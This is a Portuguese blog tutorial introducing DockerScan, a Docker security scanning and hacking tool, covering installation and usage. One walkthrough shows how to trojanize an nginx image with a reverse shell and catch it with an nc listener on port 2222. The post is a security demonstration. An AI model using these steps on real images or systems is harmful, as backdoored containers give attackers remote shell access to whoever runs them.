📝Aula + Checklist: Criando seu Mini Aplicativo com IA 💻

DockerScan: análise e hacking para Docker

Publicado em 14/02/2018

Atualizado em 03/06/2024
dockerscan

DockerScan é uma ferramentas de análise e hacking de containers Docker, com ela é possível fazer uma varredura buscando por vulnerabilidades de segurança e também fazer o inverso, injetar vulnerabilidades em imagens Docker, abaixo vamos ver suas principais funcionalidades e alguns exemplos de uso.

Com pouco tempo pra ler tudo? Clica no play e ouça o conteúdo na íntegra!

Principais Funcionalidades

  • Faz scan de uma rede tentando localizar os Docker Registries
  • Registry
    > Delete: Exclui image / tag remota
    > Info: Mostra informações de registros remotos
    > Push: Envia uma imagem
    > Upload: Upload de arquivo
  • Image
    > Analyze
    Busca por informações confidenciais em uma imagem
    Busca por senhas em variáveis de ambiente
    Busca por qualquer URL / IP em variáveis de ambiente
    Tenta identificar o usuário usado para executar o software
    > Extract: extrair uma imagem
    > Info: Obtém meta-informação da imagem
    > Modify:
    entrypoint: altere o ponto de entrada em um Docker
    trojanize: injeta um reverse shell em uma imagem Docker
    user: altere o usuário em execução em uma imagem Docker

Instalando o DockerScan

Vamos ver agora como é simples instalar a ferramenta DockerScan.

Primeiro instale o gerenciador de pacotes da linguagem Python o pip:
1$ python3.5 -m pip install -U pip

Agora instalamos o DockerScan
1$ python3.5 -m pip install dockerscan

Verifique se a instalação foi feita corretamente e exiba as opções de funcionamento:
1$ dockerscan -h

Exemplos de utilização

Agora vamos para a parte legal, por a mão na massa, vamos ver alguns exemplos de como o DockerScan pode ser utilizado:

dockerscan

Com o comando a baixo pode ser escaneada uma imagem para identificar possíveis vulnerabilidades:

1$ dockerscan image info nome-da-imagem

Seguindos os passos abaixo podemos injetar vulnerabilidade em uma imagem Docker. Vamos adicionar um reverse shell neste exemplo:

//Baixe a imagem oficial do nginx
$ docker pull nginx

//Salve uma cópia da imagem
$ docker save nginx -o nginx-original

//Liste o conteúdo do diretório para ver se foi criada a cópia
$ ls -lh nginx-original

//Execute o seguinte comando para ver as informações da imagem
$ dockerscan image info nginx-original

//Execute um ifconfig para saber seu ip
$ ifconfig

//Execute para injetar um reverser shell
$ dockerscan image modify trojanize nginx-original -l 172.18.0.1 -p 2222 -o nginx-trojanized
//Com este comando será criada uma nova imagem com um reverse shell

//Execute em outro terminal para ficar "ouvindo" a porta 2222
$ nc -v -k -l 2222

//Faça o load da imagem com vulnerabilidade
$ docker load -i nginx-trojanized.tar

//Execute
$ docker run nginx:latest

Um reverse shell é um tipo de shell no qual a máquina alvo se comunica de volta à máquina atacante. A máquina atacante tem uma porta ouvinte na qual ele recebe a conexão, que ao usar, o código ou a execução do comando são alcançados.

Isso é tudo por enquanto, no repositório do projeto DockerScan pode ser encontrada mais informações sobre esta ferramenta, se você conhece outras dicas, ferramentas, ficou com alguma dúvida ou tem algo a contribuir, deixe um comentário abaixo. Obrigado pela leitura.

Quer saber mais sobre ferramentas para Docker? Leia este outro artigo do meu colega Daniel Archer sobre como Docker entrou para rotina dele.

O que você achou deste conteúdo?

O que você achou deste conteúdo?

Fernando
Fernando Silva
Especialista em Segurança da Informação na KingHost, mestrando em Ciência da Computação (UFRGS) com foco na linha de pesquisa em Segurança Cibernética, pós-graduado em Segurança Cibernética pela UFRGS, graduado em Análise e Desenvolvimento de Sistemas (ADS) pela Faculdade Senac Porto Alegre. Um dos coordenadores da comunidade PHP-RS, entusiasta Open Source e Software Livre.
Fernando
Fernando Silva
Especialista em Segurança da Informação na KingHost, mestrando em Ciência da Computação (UFRGS) com foco na linha de pesquisa em Segurança Cibernética, pós-graduado em Segurança Cibernética pela UFRGS, graduado em Análise e Desenvolvimento de Sistemas (ADS) pela Faculdade Senac Porto Alegre. Um dos coordenadores da comunidade PHP-RS, entusiasta Open Source e Software Livre.

Compartilhe esse conteúdo com alguém que possa gostar também

Receba todo mês conteúdos
incríveis como esses para
seguir evoluindo

Conteúdos relacionados

O Git se estabeleceu como uma ferramenta indispensável para pessoas desenvolvedoras que desejam gerenciar e versionar seus códigos com agilidade e segurança.  Desde o seu surgimento, ele transformou a forma como trabalhamos de maneira colaborativa em projetos de software – seja em pequenos times ou em grandes empresas.  Neste artigo, vamos explorar os principais comandos...
JavaScript é uma das linguagens de programação mais populares do mundo, amplamente utilizada para o desenvolvimento de aplicações web dinâmicas. Assim, para facilitar o trabalho nesta área, diversas bibliotecas JavaScript foram criadas.  Neste artigo, vamos explorar o que são bibliotecas JavaScript, como utilizá-las e quais são as principais opções disponíveis no mercado. Você vai ter...
No cenário tecnológico em constante evolução, a busca por eficiência, agilidade e entrega contínua de valor se tornou primordial. É nesse contexto que o DevOps emerge como uma abordagem revolucionária, unindo as equipes de desenvolvimento (Dev) e operações (Ops) em prol de um objetivo comum: o sucesso do produto e a satisfação do cliente. Neste...

Mensagens para você